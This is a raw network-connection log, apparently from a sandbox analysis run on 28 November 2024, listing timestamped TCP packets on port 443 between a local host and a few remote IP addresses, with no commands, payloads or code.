Nov 28, 2024 17:24:26.145670891 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.145757914 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.148473024 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.148572922 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.148581028 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.148660898 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.151709080 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.151813984 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.151820898 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.151931047 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.154663086 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.154757023 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.154762983 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.154834032 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.158293009 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.158384085 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.158390999 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.158678055 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.161175013 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.161365032 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.161371946 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.161421061 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.164329052 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.164422989 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.164429903 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.164475918 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.167617083 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.167706013 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.167711973 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.167998075 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.170288086 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.170382977 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.170388937 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.170471907 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.199103117 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.199130058 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.199233055 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.199266911 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.199544907 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.204083920 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.204102039 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.204191923 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.204202890 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.204524994 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.209003925 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.209016085 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.209106922 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.209114075 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.209341049 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.213247061 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.213270903 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.213330984 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.213337898 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.213363886 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.213387012 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.218208075 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.218226910 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.218302011 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.218310118 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.218353033 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.222839117 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.222860098 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.222924948 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.222932100 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.224486113 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.227794886 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.227813005 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.227875948 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.227884054 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.228013992 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.228841066 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.229379892 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.229453087 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.229892015 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.229904890 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.232618093 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.232636929 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.232726097 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.232733965 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.232980967 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.269798040 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.270358086 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.270375013 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.270921946 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.270925999 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.275094032 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:26.275125980 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:26.275321007 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:26.275754929 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:26.275764942 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:26.324743986 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.324870110 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.324892998 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.325006008 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.327167988 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.327264071 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.327270985 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.327336073 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.329560041 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.329663992 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.329670906 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.329720974 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.332658052 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.332734108 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.332741976 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.332972050 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.335194111 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.335283995 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.335292101 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.335356951 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.337568045 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.337682962 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.337690115 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.337774992 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.340661049 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.340770960 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.340783119 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.341042042 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.343106031 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.343245983 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.343252897 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.343300104 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.345494032 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.345587015 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.345593929 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.345700979 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.348556042 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.348655939 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.348663092 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.348932981 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.351404905 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.351491928 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.351497889 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.351588011 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.353821993 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.353919983 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.353926897 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.354018927 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.356307983 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.356401920 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.356410027 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.356693029 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.359296083 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.359383106 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.359390974 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.359478951 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.361876965 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.361974001 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.361979961 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.362072945 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.364249945 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.364341974 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.364347935 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.364639997 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.392194986 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.392218113 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.392292023 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.392314911 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.392338991 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.392369032 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.397067070 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.397089005 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.397170067 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.397180080 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.397290945 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.401990891 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.402008057 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.402082920 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.402090073 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.402328014 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.406383038 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.406399965 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.406457901 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.406465054 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.406760931 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.411335945 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.411354065 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.411439896 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.411447048 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.411586046 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.416090012 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.416110039 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.416172028 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.416178942 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.416194916 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.416218996 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.420761108 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.420778036 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.420828104 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.420839071 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.420874119 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.420892954 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.425702095 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.425719976 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.425802946 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.425810099 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.426562071 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.526607990 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.526686907 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.526699066 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.526823044 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.528950930 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.529023886 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.529030085 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.529082060 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.531604052 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.531707048 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.531713009 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.531796932 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.534524918 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.534600973 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.534607887 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.534707069 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.536938906 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.537013054 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.537019014 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.537089109 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.538913965 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.539397001 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.539458036 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.539463043 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.539688110 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.540051937 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.540069103 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.540632963 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.540638924 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.542490005 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.542555094 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.542561054 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.542669058 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.545042992 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.545120001 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.545129061 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.545169115 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.547322989 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.547395945 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.547401905 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.547641039 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.550430059 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.550499916 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.550506115 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.550540924 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.553235054 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.553304911 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.553311110 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.553407907 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.555603027 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.555680990 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.555686951 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.555780888 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.558118105 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.558180094 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.558186054 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.558223009 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.561113119 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.561177015 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.561182976 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.561243057 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.563708067 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.563822031 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.563827991 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.563934088 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.566062927 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.566148996 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.566154957 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.566194057 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.584445953 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.584471941 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.584582090 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.584594965 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.584702015 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.589335918 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.589353085 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.589421034 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.589427948 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.589490891 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.593736887 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.593756914 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.593847036 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.593853951 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.594722986 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.598656893 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.598669052 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.598737955 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.598745108 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.598901987 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.603497982 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.603516102 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.603564978 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.603573084 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.603599072 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.603622913 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.608200073 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.608218908 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.608294010 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.608300924 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.608376026 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.613050938 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.613068104 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.613153934 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.613161087 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.613219976 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.617600918 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.617630959 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.617713928 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.617719889 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.617762089 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.689497948 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.689565897 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.689820051 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.689913988 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.689913988 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.689980030 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.690006971 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.692997932 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.693037033 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.693809986 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.693974018 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.693979025 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.727847099 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.727943897 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.727957964 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.728069067 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.733093023 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.733323097 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.733329058 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.733386993 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.734008074 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.734085083 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.734091997 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.734358072 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.736658096 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.736747980 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.736754894 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.736926079 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.738279104 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.738368034 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.738373995 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.738459110 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.741154909 CET	443	49752	150.171.28.10	192.168.2.6
